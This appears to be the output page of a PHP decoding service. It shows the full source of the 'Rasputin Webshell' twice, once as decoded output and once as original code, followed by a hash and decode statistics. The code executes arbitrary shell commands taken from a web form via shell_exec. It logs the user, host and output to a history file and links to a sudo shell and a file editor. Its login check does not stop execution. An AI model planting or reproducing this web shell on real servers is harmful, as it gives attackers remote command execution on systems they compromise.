Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); if ( !isset( $_SESSION['username'] ) ) { header( 'Locatio..

Decoded Output download

<?php

session_start();

if ( !isset( $_SESSION['username'] ) ) {
        header( 'Location: login.html' );
}

//Gets the command to be executed
$command = $_POST['command'];

//Executes the shell command
$output = shell_exec( $command );

//Writes commands and the results to the command history file
$histFile = 'commands.txt';
$xstHist = file_get_contents( $histFile );
$shellUser = ''.exec( whoami ).'@'.exec( hostname ).'';
$history = ''.$shellUser.'$ '.$command.'
'.$output.'
'.$xstHist.'';
$file = fopen( $histFile, 'w' );
fwrite( $file, $history );
fclose( $file );

?>

<html>
<head>
	<title>Rasputin Webshell</title>

</head>
<body>

        <iframe src="commands.txt" height="400px" width="700px"></iframe>

<!--
	<p><? echo $output ?></p>
-->

	<form action="shell.php" method="post">
		<input type="text" style="width: 630px" name="command">
		<input type="submit" value="execute">
	</form>
<br>
	<form action="clrHist.php" method="post">
		<input type="submit" value="Clear command history">
	</form>

<center><a href="editor.php">Editor</a> |  <a href="sudoShell.php">sudo Shell</a> | <a href="index.php">Home</a></center>

</body>
</html>

Did this file decode correctly?

Original Code

<?php

session_start();

if ( !isset( $_SESSION['username'] ) ) {
        header( 'Location: login.html' );
}

//Gets the command to be executed
$command = $_POST['command'];

//Executes the shell command
$output = shell_exec( $command );

//Writes commands and the results to the command history file
$histFile = 'commands.txt';
$xstHist = file_get_contents( $histFile );
$shellUser = ''.exec( whoami ).'@'.exec( hostname ).'';
$history = ''.$shellUser.'$ '.$command.'
'.$output.'
'.$xstHist.'';
$file = fopen( $histFile, 'w' );
fwrite( $file, $history );
fclose( $file );

?>

<html>
<head>
	<title>Rasputin Webshell</title>

</head>
<body>

        <iframe src="commands.txt" height="400px" width="700px"></iframe>

<!--
	<p><? echo $output ?></p>
-->

	<form action="shell.php" method="post">
		<input type="text" style="width: 630px" name="command">
		<input type="submit" value="execute">
	</form>
<br>
	<form action="clrHist.php" method="post">
		<input type="submit" value="Clear command history">
	</form>

<center><a href="editor.php">Editor</a> |  <a href="sudoShell.php">sudo Shell</a> | <a href="index.php">Home</a></center>

</body>
</html>

Function Calls

header 1
session_start 1

Variables

None

Stats

MD5 270b106c1439cb95236baf768f30a0d2
Eval Count 0
Decode Time 94 ms